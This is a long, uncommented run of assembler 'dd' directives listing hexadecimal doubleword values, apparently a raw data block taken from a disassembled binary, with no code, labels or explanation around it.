		dd 9907475Bh, 0A60025FCh, 3316265h, 0D3DE73h, 6C2D2985h
		dd 0CA05C6D8h, 20432700h, 0B03E6D76h, 4C4FE224h, 7A119Ah
		dd 0D0B65712h, 0F3849083h, 3C445000h, 0C8A9CFD4h, 0BE5D0687h
		dd 2817E0C6h, 0A233CA00h, 88111E6Fh, 9ED41FBFh,	93A50075h
		dd 56AAFD16h, 87C15700h, 0F67CAEFCh, 30EF6E8h, 0BAA20CDAh
		dd 0E4C86B68h, 21002774h, 0F8538637h, 183648EBh, 195F2CF3h
		dd 9700343Eh, 16296AABh, 0AC49ADh, 189B4492h, 37986FC1h
		dd 4AC6C70Ch, 1A2990Bh,	0B0C5BC4Bh, 9FD9BB88h, 6A586F70h
		dd 26CEDBA8h, 2413364Bh, 40A61FC3h, 0D67B7127h,	0CA07B57Ch
		dd 0CB286C13h, 93165740h, 96AA003Ah, 0CF0CCE2Fh, 0E6006E71h
		dd 642CE16Bh, 0C330568Bh, 32A43D58h, 67CACBF8h,	6899E607h
		dd 44B1E2F7h, 0DCC47828h, 342F1CEAh, 0AA003D8Eh, 8B141943h
		dd 1252D5A3h, 4CA0FE04h, 0EC007DD7h, 5A86154Fh,	0C329EA4Ah
		dd 738B4820h, 31001DEBh, 53E5D2F2h, 310E5F9Ah, 0B60993D8h
		dd 5220828Ah, 600AE47Bh, 7162C35Eh, 0A24D0009h,	0A4EFAA8Bh
		dd 6E1D34EEh, 8130BA74h, 1FA6D23Ch, 39C4E55Dh, 0EDABF106h
		dd 0F03711Eh, 0C7A880F6h, 0B1310322h, 0D529E79h, 7B61ACE0h
		dd 15C57F11h, 566ADC00h, 5A521349h, 9562E702h, 0C0EAE4CAh
		dd 0DFA83E83h, 0CED100B1h, 26953275h, 3840D201h, 36A8073Ch
		dd 0AFFE698Ah, 16D48090h, 0B2D19BBCh, 1994B901h, 777B9D8Dh
		dd 448B5085h, 0BDA440FAh, 18998FAEh, 74E70B00h,	6A50476Bh
		dd 0C060ADEh, 0C4001E6h, 7B6937BBh, 22803F07h, 0AE104A19h
		dd 711AFC8Eh, 539F072Fh, 3345AC6Dh, 0D8A8810Ah,	3B1D387Ch
		dd 20061551h, 7811A5h, 0C4CE5D75h, 2768D921h, 70D64F00h
		dd 8B0FD0CDh, 184176F3h, 31A0C6CEh, 0DB13F635h,	80034F76h
		dd 7F5E5697h, 20136008h, 6BDC2A0Ch, 28686100h, 0FC80DB54h
		dd 0A79E00A8h, 1C387FAAh, 4B2A5A35h, 0BB78FCEFh, 4AB3D1C0h
		dd 7BFB4C5h, 0A7924257h, 5B198093h, 5905C809h, 288F20F5h
		dd 1445F280h, 0D6CD2806h, 0EEC318A0h, 4B9751EDh, 0D3813E00h
		dd 5FCC9FA9h, 0D6660025h, 0CE868402h, 3D00A1FFh, 0BC833FB3h
		dd 0FC9DFE3h, 0D15D3A7Eh
		dd 701021A9h, 5A28561Dh, 0F8000851h, 52E6A1D2h,	0C35043D1h
		dd 0B12505F1h, 0F5A6409Fh, 1600539Ah, 79233E62h, 244802C5h
		dd 12282F07h, 341020BBh, 54007A17h, 836EDDCFh, 8A14DEh
		dd 3E88D2F1h, 0EEF72F92h, 0AF7DEB00h, 5B05119Eh, 0C39CA02Eh
		dd 83E844EDh, 6BDB1B00h, 0CBB2738h, 0B2E4E992h,	253C02D8h
		dd 0C6B13481h, 10713044h, 6B9D3Dh, 3DD2A444h, 738F34h
		dd 4C6C303Fh, 93CE2AB8h, 9044BAECh, 0E3DD07F5h,	60B39F89h
		dd 5B20F9E5h, 968A8002h, 4C5E9EEBh, 0B51D1A18h,	6CB038B4h
		dd 9A0020DCh, 70712958h, 95FB92h, 0C979A872h, 822E23DAh
		dd 78BF804h, 0FE463BA7h, 870049A6h, 0BD916803h,	1321A7Dh
		dd 9DF0630Dh, 2023B32Fh, 0CD244304h, 0A2C050D2h, 464EAADCh
		dd 2C142296h, 0A36610h,	2432373Bh, 252952E0h, 3EE844h
		dd 218E3982h, 90436BFDh, 0EB853E60h, 6D235680h,	44DDE419h
		dd 3BE1BCFFh, 2B880CBh,	0D7A45F8Dh, 1AFF801h, 651406Fh
		dd 0C8C8E242h, 3744BAB5h, 0E4731E50h, 1BBD005Fh, 0B3209735h
		dd 0E2240B00h, 913F4E4Ch, 8D5B24C4h, 8BC4386Ch,	0A698AD00h
		dd 59CD10C5h, 0DF600ABh, 0AED6BAA4h, 3A008A90h,	0B33565BEh
		dd 1323C29h, 0FAFB1088h, 0E09DA999h, 0C3482CB4h, 580096BCh
		dd 0A8FAEA42h, 0F79A0051h, 2946031Ah, 0C7000513h, 1C4424B2h
		dd 2FA232h, 0A9938996h,	0C3F611B1h, 1B785602h, 4166BDDCh
		dd 18100988h, 23EBF62h,	12A801E0h, 0B8C0B98Ch, 2F5B026Ah
		dd 0DC871D07h, 0EC98D99Dh, 0E360C573h, 2E968299h, 0C2EAFFh
		dd 8EB74E14h, 0CEEC926Bh, 35416507h, 2C64166Dh,	1B4CCh
		dd 0BEDE9761h, 0B6498E89h, 2091CC00h, 22FECE0Ch, 427E00EAh
		dd 0E660A16Bh, 0BC24123Ah, 0A76F3440h, 6CD0135Fh, 24A4E43Dh
		dd 6B447F6h, 0B01C4F10h, 0E2939E2Eh, 34EFF405h,	0FDD58003h
		dd 0F306E95Bh, 0A3B030h, 0CF4F24EDh, 0EEFB01Ch,	0CB351913h
		dd 42085043h, 6E6DA94Bh, 92A42C20h, 14BC3B58h, 88F3B980h
		dd 0B21C933h, 0EE888150h, 3CC75B88h, 0E900CBB8h, 0D385EC6Dh
		dd 380E6570h, 9DF8E7CFh, 0BA7E43C1h, 7F00A32Ch,	41072FDBh
		dd 0C8E40E14h, 0FD630581h, 0A855A1CCh, 56D5D4h,	3F6A7AB7h
		dd 7651D906h, 88B5FE2Ah, 170F9B01h, 1F3A7049h, 0FF1B88FFh
		dd 86713A2Dh, 0A279A580h, 54FDB46Bh, 0A1FE3218h, 4C278F39h
		dd 6A000F5Eh, 0ACB12A85h, 0BE07A3C8h, 9FDFA03Bh, 7BF33230h
		dd 0A092CAh, 40199253h,	0E234B77Ch, 86571018h, 24289CC9h
		dd 160F243h, 369F1DD6h,	75388ECDh, 5A93A042h, 58DA69D9h
		dd 756C02h, 0B99B5823h,	0A9A7D0C8h, 0B8502700h,	1E8F7534h
		dd 0D78C0743h, 407ECC12h, 4FC8EE69h, 597438C1h,	87CBA238h
		dd 0C1E0F89h, 14CD49A8h, 0FCCF1F0Eh, 0D1A58D02h, 18937579h
		dd 4E2E6DA0h, 0B30CDE0Ch, 0F8EC11Eh, 56574C4Fh,	5AE101C0h
		dd 0A8005F6Ah, 5542F93h, 1238373Ch, 299060h, 0A662A018h
		dd 2C007E9Ch, 882F81E3h, 16A7CE50h, 0C13FBA1h, 22B87300h
		dd 1475FAF2h, 3C95BD05h, 9C08E9ABh, 0A286BE21h,	11870C90h
		dd 24AC8B0Fh, 89E4025Fh, 0D06C1Bh, 9DBE33E5h, 77E9B4F7h
		dd 0B9930700h, 917B3717h, 41DB1640h, 2066168Bh,	0E55CF2ACh
		dd 6F9A750Bh, 0EAE49909h, 0E5A50C10h, 7881D226h, 3AC80106h
		dd 0FFC0089h, 6936B546h, 0D4032E7Ch, 0C637271h,	43C38C55h
		dd 5090947Bh, 0D4653h, 4FAE3D4h, 96976EB2h, 19564E00h
		dd 38FF4BE5h, 995A0724h, 0D6A16451h, 327DA11Fh,	6CA01E90h
		dd 80FF72E0h, 0F1715E18h, 308D2C60h, 0B490B2CBh, 490AD69Ch
		dd 88CE2638h, 0D2858F81h, 0D83354A8h, 8000113Eh, 0CCC74348h
		dd 1500F6BCh, 8A9B538Ch, 170BD94Dh, 1E6D4B8Bh, 2B002120h
		dd 5AC1DD06h, 5DFA3A6Ch, 77AC3E85h, 67508092h, 261D29C7h
		dd 7B0CA7A0h, 2039D0h, 0D1C63E60h, 3848406Bh, 0D94BB000h
		dd 0B376F280h, 30C8644Ch, 0C96F40FEh, 0B572CCh,	5954B5Ch
		dd 903F9E5Dh, 17222A03h, 0D8105038h, 7CB5275h, 65BE036h
		dd 8416C7Ch, 91094C17h,	5AAEA400h, 8FD813h, 0C8B39745h
		dd 3FC4387Ah, 18A7FB00h, 7CF8DFEDh, 9735Ch, 0F716D0AFh
		dd 0C65E71Fh, 9048600Eh, 0E122200Eh, 1B7447h, 0C6818E5Dh
		dd 0C77C3F68h, 1FB85A0Eh, 12834027h, 14D222h, 0BFEC16A3h
		dd 94A74532h, 7D0B18C0h, 1D63F34Fh, 81F99EB3h, 0D28C1C69h
		dd 0D024E1AEh, 6C1D1293h, 6803286Dh, 1D9542h, 3FD3D550h
		dd 524A2F11h, 1A67DB03h, 8847156Ch, 2D7712h, 0D8295D0Fh
		dd 89316820h, 0F67389C0h, 62D1CFAh, 13D65665h, 5C300855h
		dd 2ED12020h, 30690FFBh, 0C680415Fh, 38F2B4DDh,	83119200h
		dd 0A98BB705h, 21CB30FEh, 0AB3532A0h, 2F7A2D01h, 6CD32C62h
		dd 795C0EE0h, 0EF930137h, 94ADE840h, 0A2D1803Bh, 0E2A61ACBh
		dd 99AF602Ah, 86215B7h,	552FD0Eh, 7D1B004Eh, 11555Fh, 19CA6C76h
		dd 0BC3F6D94h, 0B7AE6407h, 1440A112h, 0F0ED4942h, 462102CCh
		dd 246B3067h, 0F09F0341h, 0E500127Eh, 411C370Ah, 0FE1FFE8h
		dd 1A5D6BD6h, 880FD4Bh,	200F12BAh, 8E7E20C0h, 29C3623Fh
		dd 6220A018h, 26306CA3h, 0C9B7601Fh, 7E5F8B3Dh,	88A6A800h
		dd 7C335225h, 2185602Ah, 0C7C092D9h, 13918D00h,	64B53987h
		dd 734C0134h, 0C89A1BCCh, 0C5945023h, 0C6009B3Bh, 9555F62Ah
		dd 1E090690h, 9CABFC3Dh, 0AFC6AE2h, 4BDD0AA9h, 0A6A500B4h
		dd 0A7C21CE7h, 7F73FF0Eh, 6D86FAFh, 95935C8h, 36537542h
		dd 0CC606F80h, 7174ADACh, 7B214960h, 8B4067h, 3416FD4Eh
		dd 0F6F1E6Ch, 85188E7Eh, 7029829Eh, 2CC152D8h, 0F1531C01h
		dd 0B697DE4h, 53627800h, 0E037559h, 3214A9F0h, 4AC24DCh
		dd 2A7F20CCh, 3C33548Ch, 4DA379FBh, 0F61FB421h,	0D335FB41h
		dd 61808EC1h, 0F2AD7D14h, 46375E5Bh, 5CC0281Eh,	39B7B13h
		dd 0D6721612h, 0E2991B99h, 40808A39h, 0FF009C70h, 6857BF49h
		dd 984BF31Ah, 6DC040C8h, 644D9DDh, 11A9E226h, 2139810Ch
		dd 0B87EB013h, 1D941D25h, 85C53FD9h, 138A98Ch, 8BF51654h
		dd 0AC28817Fh, 0EDFA307Dh, 9BB23980h, 0A62382DEh, 0B362B0Ch
		dd 0C55C08F6h, 0C0C45421h, 0F3DB963Bh, 416C9700h, 0A5E61611h
		dd 0D370765h, 0F559E22Fh, 23702F67h, 45070325h,	70007DA6h
		dd 0C7CA3947h, 0A06D42h, 5737661Eh, 5F5D4A65h, 23168970h
		dd 0B0007236h, 0B85B0C38h, 1B220C48h, 0F2F11F54h, 9B2D9400h
		dd 92CDCEA8h, 0CC763A9Fh, 5F211B30h, 0CF0E2C5Dh, 0A9A91FBFh
		dd 9E38AAE9h, 0DEC69930h, 0A36B0059h, 72F01F73h, 0DDF8B1A2h
		dd 1015C0A1h, 5275F76Ch, 4022CCA5h, 0C06190C8h,	0A8B52D96h
		dd 0EA309E46h, 2D7F5979h, 7253C401h, 0ACE3C3B8h, 1D1EC4Ch
		dd 11CBAD3Ah, 40311034h, 0B964D6B8h, 0BF6BCC3Bh, 9C3A2479h
		dd 1A60C364h, 0E5512B53h, 0C00BBCh, 0F8536962h,	1F27D929h
		dd 5DE2F722h, 606F5446h, 9F2D9880h, 0CC436EA8h,	0B211C30h
		dd 7B012D81h, 3F178EF5h, 0CC47A7C3h, 351A9D1h, 0E0BAEC30h
		dd 0BD3046Dh, 0D0E59599h, 54E932ACh, 3B7870B8h,	6D4CE21Ch
		dd 0FAA51F40h, 60E19487h, 2F174189h, 58C0C16Ah,	4B6DE705h
		dd 0E036F815h, 0AEEC24D9h, 0BD3F8020h, 0CA3AFE76h, 271B2901h
		dd 704517C5h, 9BD220E0h, 0FAF80104h, 18552D1Ah,	0D300EB65h
		dd 6E76FB30h, 25015100h, 19942349h, 5E0202A7h, 72D92B1Bh
		dd 3FE47845h
		dd 16FCCA60h, 90D09400h, 1599D778h, 93FB166Ch, 10447BEBh
		dd 8B821EF3h, 0A11F6785h, 71AE1620h, 8B83DB44h,	0A988EFF0h
		dd 0A2780E30h, 0E051D815h, 40C75648h, 1904C920h, 0EB398F37h
		dd 30DE80C8h, 0E25066C4h, 89004A2Ch, 12CC82A6h,	28C251DFh
		dd 0E0AA28h, 20CBB28Ch,	47A59270h, 70D22934h, 0C84FF8C2h
		dd 924E4B94h, 118C073Ch, 501BA9CAh, 0BCB3CD78h,	140B1702h
		dd 62965BDCh, 8D144084h, 0B7A10708h, 8223DD11h,	0A4E1B1B6h
		dd 7FFAE493h, 62008CB8h, 917060CAh, 30BC12A8h, 0AB408DBEh
		dd 71DF1354h, 309F0429h, 0A6B3FD40h, 132B9078h,	1F27D44Ah
		dd 0AA5303F4h, 0E4C211A7h, 0C0256040h, 0A15F076h, 3B8C9AE8h
		dd 30383479h, 92F3B4C0h, 7ED20283h, 521C98AFh, 4725C940h
		dd 7CBFAD24h, 5028A515h, 0BC653114h, 0C00C1218h, 132C99ADh
		dd 4194451Bh, 0E1B40A20h, 68604C34h, 33262419h,	3F02B6A8h
		dd 2C471721h, 0B9071A0h, 22642F36h, 80404000h, 73623725h
		dd 4238E021h, 0D97C10A9h, 0E708A92Ch, 0E1723C42h, 0F1A821E4h
		dd 0A4E59838h, 9F0D2410h, 99120070h, 9D11A1D2h,	4148E550h
		dd 0A13038Dh, 481E6AD1h, 7CD8A651h, 7148A9C9h, 26EC3E5Eh
		dd 94FA8303h, 81002AA3h, 1F725813h, 0CFE741E1h,	44A07830h
		dd 24D92542h, 50073B28h, 1D7B9118h, 5C6D1E39h, 2F0A386Bh
		dd 40CC18DFh, 5837ED3Fh, 4F9D11C0h, 2E1F2CD6h, 116C19B6h
		dd 0EC600127h, 0D9FE4BADh, 57527600h, 1021BB30h, 0F6A93B55h
		dd 0DD3288D2h, 0C9852B0Bh, 15540038h, 0A207E80Ch, 0D0DC0234h
		dd 222503E6h, 53A0E4C3h, 866CF9A0h, 6A027819h, 400058E2h
		dd 72A6ECDFh, 406C44Bh,	0E9164C7h, 2BB02AEDh, 20059969h
		dd 6B868213h, 1D118481h, 2529D08Fh, 0FFD0CBE9h,	131695ACh
		dd 8004ED94h, 9F0A21F8h, 688CF840h, 6834C434h, 0FAB4032h
		dd 0C9191303h, 6C621901h, 0D21ECCAAh, 0AE154806h, 2AAC549Eh
		dd 0B8CA54ADh, 1025BCB2h, 4C7A3174h, 253F50D5h,	3C7240E0h
		dd 0E8049A9Eh, 7311946Dh, 10801C94h, 0EFAF315Eh, 41E70101h
		dd 829320Ch, 10E642D4h,	0C7171D3Eh, 1AB44124h, 5B20D311h
		dd 383D9204h, 7C0A0408h, 0DBF61F92h, 5B1D0191h,	101CEFAFh
		dd 6D2A3324h, 140850A1h, 76904B1Ch, 6D0FC15Eh, 3E2095D8h
		dd 0CD10F75h, 0E63660D5h, 0CEAE9435h, 289483D1h, 0DC621845h
		dd 199A6065h, 0A0922804h, 1C83D819h, 10CF89EEh,	0D15075AAh
		dd 28604210h, 48E08A2h,	0D59A920Fh, 40218A3Eh, 8C9761Ah
		dd 22C01C04h, 0CA18E752h, 940CA009h, 0DB141423h, 816448A2h
		dd 508A7799h, 0E02C2158h, 965200C6h, 723BD7BFh,	0ECA65844h
		dd 1FD93720h, 3EBDB8EFh, 5CFC08E8h, 86F50485h, 10807D45h
		dd 0B4546F29h, 42AD6301h, 1C303713h, 0BDA029Eh,	8BB7DCE4h
		dd 0FF882220h, 4D6C0952h, 0E4904B84h, 79331F4Fh, 1AB83838h
		dd 592C4C69h, 839C1041h, 4A016249h, 0C8C7BD2Fh,	70C178F5h
		dd 9C24A7FAh, 0E3760B6Dh, 0ACA9D930h, 0D0DC2804h, 8F3B3FF0h
		dd 29694360h, 0B033E74Ah, 2D990044h, 1BEEA6A7h,	710EA0C5h
		dd 8E9294DFh, 0E850607Ah, 3913C2B2h, 105D52B6h,	75078322h
		dd 78941E0Ch, 76D03941h, 228B34E0h, 48CC144Ch, 0E8DE51D9h
		dd 0D5D1008Ch, 617C2DB8h, 8E02022Bh, 26E90725h,	0F5BDE018h
		dd 21B6030Ch, 50B0ED1Ah, 0F447A9F9h, 4992A7Ch, 8945A01Ch
		dd 0EC91D993h, 1D10C40Fh, 0C9163AF3h, 24109920h, 0FAC40144h
		dd 27268752h, 489F79E9h, 8E56CCD9h, 0C18B6528h,	0F2FCA36Ch
		dd 0B9C1C321h, 11B894D0h, 38C0956Ah, 3B81FB52h,	16F71628h
		dd 0E1486638h, 708926Bh, 0D4E5C8C0h, 7AAA2C90h,	5F4C3A1Fh
		dd 0B05DCB0Eh, 5A04B25h, 0A07C5210h, 50A1A2C8h,	79A8403Ah
		dd 0ACA1200Ch, 0A6F8243Fh, 2B079972h, 0FE336E7h, 10A01923h
		dd 2BD24350h, 10B0A827h, 7872B07Ah, 0AD141C0Ah,	9380ECCCh
		dd 2144904Ch, 43147ADCh, 0A7B87BC2h, 11B63192h,	0C8710BCh
		dd 991F3A9Fh, 0D936A00h, 3552378Bh, 19331200h, 0DE8745E8h
		dd 9F0A038Ch, 0C2569255h, 0A22A790Ah, 260AA48Eh, 0E107F42Dh
		dd 0E0CED436h, 0EAA70A93h, 2BF83F0Fh, 34522486h, 417FC81Ah
		dd 0ADD62000h, 51D0D16Eh, 6D8E1EC8h, 3E50E44Bh,	0E2EC80FFh
		dd 7840B55Dh, 4BAF6309h, 0A298A105h, 30882052h,	1385311Fh
		dd 8D22302h, 3D82836h, 4AA220ADh, 4A811EA1h, 0DA47128Ch
		dd 35D14401h, 0B404C0B0h, 45356378h, 1C1D81C2h,	5977E837h
		dd 0B6303889h, 107F4187h, 8E433888h, 1344CA9h, 60525E4Bh
		dd 4498587Dh, 7C01AE73h, 5A2CA067h, 28E00C8Eh, 0ACF601A2h
		dd 0AD9F3592h, 706D4Bh,	0C4AB621Ah, 9156A0CEh, 29209978h
		dd 0ABC40941h, 84F8B4C7h, 81B47BA2h, 517EED88h,	0E7D03B58h
		dd 974690A6h, 5236A405h, 3CF0009Ah, 13EF253Fh, 0AC601AE2h
		dd 54815C80h, 4FB0CF9Ah, 0E363A560h, 0B8920D10h, 2C502503h
		dd 0BB889E34h, 7C8211h,	2792956Dh, 71C160F2h, 0A85CDE85h
		dd 0E023B6FDh, 0E5CC837Ah, 5C88A4ECh, 1388430Fh, 0A8A3490h
		dd 9880F1F7h, 7C99A167h, 0BB048C38h, 0FA9DB6F9h, 599E3881h
		dd 51DA8450h, 90DAF1B1h, 0F8AD088Ch, 49D91999h,	30A881EEh
		dd 0CC15B804h, 1E989F44h, 8B0FF70Ch, 370B06D6h,	57D0F910h
		dd 0D4B5A7Fh, 4641B700h, 600C18C8h, 10AA5213h, 0DD7E00D4h
		dd 1B5E0BCFh, 2EC4B51Ah, 0FCD04011h, 0A59F79h, 0DE6D75F8h
		dd 36FE0AA3h, 34A2B80h,	0CCB7EA09h, 1E2D22A8h, 816C8443h
		dd 67FB6D60h, 548C3DF2h, 3F8B466h, 0BB2BFB64h, 51FFB5ABh
		dd 80F14D92h, 298F3A58h, 0CE84107h, 0D6E94C75h,	0C02C0D18h
		dd 6781787Dh, 7EE840F0h, 0D9A1C410h, 1BAA2E03h,	887C798Ch
		dd 2D82B2CFh, 0E0976FCCh, 0C1815411h, 0FC7BFF1Dh, 2F002E08h
		dd 0B7AF3B0Eh, 0B09A11A7h, 0D98C063Ah, 183AE6E5h, 542E485Ah
		dd 0C121F610h, 829E286Bh, 0D167D4h, 13331B0Fh, 4599D5F4h
		dd 3905EE7Bh, 5F72FBDh,	0F03720E4h, 10026073h, 0C6EDD929h
		dd 0CE9834CFh, 0CF39E0C3h, 7DE33B9Ch, 0BD3E00C4h, 0DACDE2F7h
		dd 2500DFD4h, 0F2EB2BF3h, 0C9C7CB3h, 5BEEEC1Eh,	8300FC7Eh
		dd 41F042A3h, 0CDACA20h, 0D5A055E0h, 0F400A838h, 58EEA987h
		dd 1DBC4F89h, 50515Fh, 0A824E108h, 0AA037E1Fh, 0FDA0D7B4h
		dd 88F8AB31h, 1192DDh, 0C620E95Fh, 53E36581h, 0FC3D94EEh
		dd 0DEAE8005h, 0D4A86C7Fh, 0AAE4005Fh, 0DB198C01h, 58D8E32Bh
		dd 30C6F6B8h, 0D9983DEBh, 510084B3h, 0A842E32Ch, 60B83971h
		dd 7D0528A7h, 0A303AC9Eh, 0A60EF527h, 130830FCh, 9E453049h
		dd 0A1853C00h, 64EC7616h, 6FFE0099h, 9A181DDBh,	543BC783h
		dd 92D985E9h, 9C40BC16h, 67CC3248h, 456D0643h, 8152AE3h
		dd 0E221B96Eh, 4085CC6Ah, 1899C47Ah, 4953E10Bh,	4B339A0Ah
		dd 0F058109Bh, 94B9E8h,	7196C1A7h, 31BA424Ch, 1C43DF03h
		dd 0C038D14Dh, 0DC68BFh, 0F416A93Fh, 0B3CB55AAh, 4C596000h
		dd 62A30358h, 7ECF0097h, 8BF14B8Eh, 0F4005DB7h,	7A9E6AAEh
		dd 121363h, 3A592015h, 2180980Eh, 2D01E2E4h, 1CC2D15Eh
		dd 0A130F193h, 6DA006Bh, 96FAFB43h, 5A00BFA4h, 0C33036A0h
		dd 1A4163C2h, 104D6DB6h, 3A0A0418h, 316C3Eh, 85BA93E5h
		dd 7B2D510Bh, 7E7928h, 0F31523BCh, 0E7A25D0Ah, 0BBEB290Ch
		dd 840929BEh, 10929E22h, 11E98A79h, 0B511D26Fh,	28E7111Ah
		dd 51A3617Dh, 384F71Fh
		dd 0EA2907F1h, 70CE2FE8h, 0EDD5C2C0h, 2DEE3Bh, 43CCBA20h
		dd 2C3DC8h, 24AD92AAh, 0A35CD65Bh, 8E600760h, 339DB3h
		dd 0E24045DBh, 1E37ACC5h, 0C00A0503h, 0B0E31859h, 0AAFCD2h
		dd 2B0904FAh, 6310501Dh, 4C5A2F1Dh, 0D61B55C0h,	0D9B706h
		dd 40FB9087h, 0A8233ECBh, 25584500h, 275FB309h,	975A0019h
		dd 0C7D3485Eh, 0D000A522h, 42C4EA34h, 1F1AF3F1h, 803FBD70h
		dd 244E6E0Ah, 870048D8h, 51C060AFh, 1C971Bh, 0D3F53BB1h
		dd 1338AE54h, 0E70B8D00h, 1D537CC4h, 0D5370569h, 2FCAF8h
		dd 0DEB3D1DCh, 89EE467Ah, 9EA5053Bh, 0F00711E9h, 0C1C02386h
		dd 7AE253Eh, 0A0A46696h, 872A40C5h, 34124F10h, 321CEF44h
		dd 455C840h, 0FC49FDF0h, 0B5ECFE0Bh, 3682B6E0h,	0CA3A98A0h
		dd 9A27BD03h, 0A08E80F5h, 0C070E28h, 8C6D02B9h,	0B100FD10h
		dd 0F868EDDFh, 49C0FC5Eh, 7E0030D5h, 0C88D2C23h, 3500ED7Fh
		dd 7AAE7B0Fh, 0EBB23Ah,	0EC238774h, 7D6B3F8Eh, 0DDA29F0Ah
		dd 9194ACBDh, 824E00E4h, 0F30E825h, 164D0029h, 6EF85D56h
		dd 0FF053A1Eh, 899CB3FDh, 5055EC00h, 14099A2Ah,	0C4A561EBh
		dd 5B7D2300h, 543B65FDh, 0B89958CAh, 201B740Fh,	1BAE434h
		dd 0CE890029h, 41CD2B3Dh, 8A3CF912h, 0B26680FCh, 0B4AF2D2Ch
		dd 14391C54h, 0DE9A00D0h, 0A68A600Fh, 45367701h, 627332DBh
		dd 5BB4CD40h, 7C24F4CDh, 8FEAEh, 73B67470h, 6DC41621h
		dd 126A1305h, 0ABC086EEh, 0F9745683h, 3BCC8F8h,	6E149589h
		dd 0CB90F9BEh, 3439B036h, 0AF75034Bh, 0B2E205h,	0FBA95F11h
		dd 6BD7DBC0h, 3A7703Ah,	0F18AF7ACh, 779898BDh, 0A0F00E0h
		dd 0F3A08D30h, 6900F4E7h, 47CDA4ECh, 0B1EFFh, 6FA89C74h
		dd 0A55B6124h, 0A3FBEF00h, 0A4BCE6B0h, 8B3B0073h, 0C1D14856h
		dd 230171A6h, 99EA43FDh, 0A3308628h, 0D8F202AAh, 8DE7FC5Fh
		dd 14AFCA0h, 0B40F5990h, 47264B4Ch, 0DEA03563h,	1576FF83h
		dd 0C823F2B6h, 500C0E0Fh, 0D7941B20h, 0B704E734h, 0D1DD966h
		dd 213FDD40h, 9F07CE1Bh, 544003FCh, 75B00670h, 0E01F0FCDh
		dd 1600196Fh, 2EDDBDCCh, 30F28400h, 45FA55B4h, 7DE60048h
		dd 79855F88h, 0FB004D71h, 4F3E205Dh, 7A51309h, 301E0BFAh
		dd 939D4025h, 1C0064A1h, 947E66DAh, 0AC5A6Bh, 9603C8EEh
		dd 0D684837Ch, 0DAFEEA07h, 4511BB54h, 9820BAB0h, 47AA00C9h
		dd 10D86B41h, 4A3D6E08h, 7F2880F5h, 118B071h, 2A370AF4h
		dd 3F8ECAFh, 361C25C8h,	6DFB7AF8h, 76DA4A00h, 2C1401FEh
		dd 5421002Eh, 242AA573h, 0EA00C115h, 57173364h,	30A4D70h
		dd 49CEF512h, 8B8932Eh,	8F006F86h, 0AAFFC55Ah, 90EE5B66h
		dd 5EC700FDh, 8A0E88BBh, 0B10020ADh, 0A886E583h, 196BE2h
		dd 9BDE2EB8h, 2276D7ACh, 0BC581D00h, 0DDFF9637h, 0B8BAE511h
		dd 6197C780h, 0B8BBE8D3h, 0C6479E00h, 5DEC9483h, 0B67D18C8h
		dd 5B1C519Ch, 69CF3700h, 41DE6F97h, 92B00C53h, 0C207457h
		dd 635B5D1Ch, 3B2CD5C0h, 145F1F4Ch, 0DE28AB5Ch,	39383A00h
		dd 0CA148849h, 1AC08000h, 4C4AB00Ch, 0B5D30137h, 44A83EF8h
		dd 78DAF448h, 5B1C46F4h, 0D680F4A2h, 108085FBh,	0C262006Dh
		dd 0CA21425Ch, 0EA006C55h, 597D7908h, 2B75E0h, 696A9772h
		dd 0C6399C8h, 0C2195600h, 36C62CA1h, 0D1E81648h, 25A800F1h
		dd 132A8189h, 2EAD0400h, 751E4DC1h, 9892003Eh, 0A4F45AA8h
		dd 3013F7D3h, 9000CC3Ch, 0BA954B1Ah, 1B1400ACh,	0CC01162h
		dd 98796705h, 13068301h, 7C5B17CAh, 1B4DA8CFh, 8E840A65h
		dd 0E842EEh, 0A38845B4h, 5B000CB6h, 8A5C6C25h, 4C2E879h
		dd 0B4CDD4D1h, 648081B7h, 8983C858h, 803C683Fh,	3D100C7Bh
		dd 3CE997A9h, 34A6D0CAh, 0DF1A017Ch, 80946C95h,	55933A18h
		dd 836902h, 0D4F6DC74h,	47F8A3EAh, 63CCB00h, 0B5B4B26Ah
		dd 6D36073Eh, 0E0A54632h, 9D084976h, 0E33F9100h, 56D09B12h
		dd 369F0915h, 881F572h,	603AEC3Bh, 9B1322A0h, 0D4005E2Bh
		dd 0A1234FB1h, 8AFC481Dh, 44ED0602h, 9CC09889h,	0A80037E4h
		dd 2CDA79FDh, 1376EF33h, 4D35491h, 0C0A5CE21h, 0F340B478h
		dd 0A4F149h, 0EF7A27ABh, 0ACDE4Ch, 69174381h, 478F7B03h
		dd 630EE61Dh, 5771C080h, 17A7B8E7h, 73299Dh, 0E4C70C84h
		dd 0B5008539h, 0D45C5DD1h, 7088FEBAh, 3E0A7568h, 0E0806034h
		dd 0AD790DBBh, 0C424A286h, 9900973Dh, 0F69EA481h, 0FEF2005Eh
		dd 0F398C7FFh, 6F00A9EFh, 0E5B02A16h, 1DC6262Fh, 689B9AE4h
		dd 0B38700FBh, 4F98541Bh, 314E679Ch, 0C80FAA16h, 4B41806Dh
		dd 9A2F8Dh, 0E7BD3C44h,	59DA05B4h, 0D876B61Ch, 75C1B580h
		dd 0E6AFE02Dh, 0ED19001Bh, 72F96714h, 3300B84Ch, 58FB8734h
		dd 2511A7h, 2BF76FBEh, 83E97164h, 8F571600h, 3F6EB0B8h
		dd 129C002Ah, 0DAF61CA4h, 0EC9872EFh, 69262500h, 1B479A13h
		dd 4A45002Bh, 0E53118E2h, 0DE130FB4h, 0AC007B77h, 59EFF530h
		dd 3F74B0DDh, 0C00B528h, 46C6B84h, 0FD90EC7Ah, 2E95E300h
		dd 0ED822DA9h, 2B6100FAh, 6A6F79E0h, 5C941D4Fh,	99A74000h
		dd 737473Fh, 0B5420371h, 44CD30BFh, 541D096Bh, 0FF56A5ABh
		dd 60199500h, 14CEE175h, 8D39B4Dh, 2DE78403h, 0F98EDF7h
		dd 280AA670h, 0F86E626Bh, 1DA1740h, 0AFBB0FB1h,	0E7A75CA2h
		dd 9040A93Ch, 9508742h,	8C7532E0h, 1C540402h, 80B2516Eh
		dd 0EB2C3820h, 4008E2A5h, 0BA44465Ah, 98ED0180h, 0BE228789h
		dd 0DBBE20A8h, 6E191A03h, 0B0C540D5h, 982B6BFh,	783C13A1h
		dd 60162041h, 93009646h, 1B98AD38h, 160E751Ch, 476CE1A8h
		dd 30F9EA2Ch, 955AA4CEh, 0EE131F03h, 0E8385D67h, 3DCAA745h
		dd 9D80C32Ah, 7E70298Bh, 1539463Fh, 4FE48010h, 78C3F9C9h
		dd 280260CEh, 6E747C68h, 1074D7Dh, 54CCFA27h, 55AE7FD1h
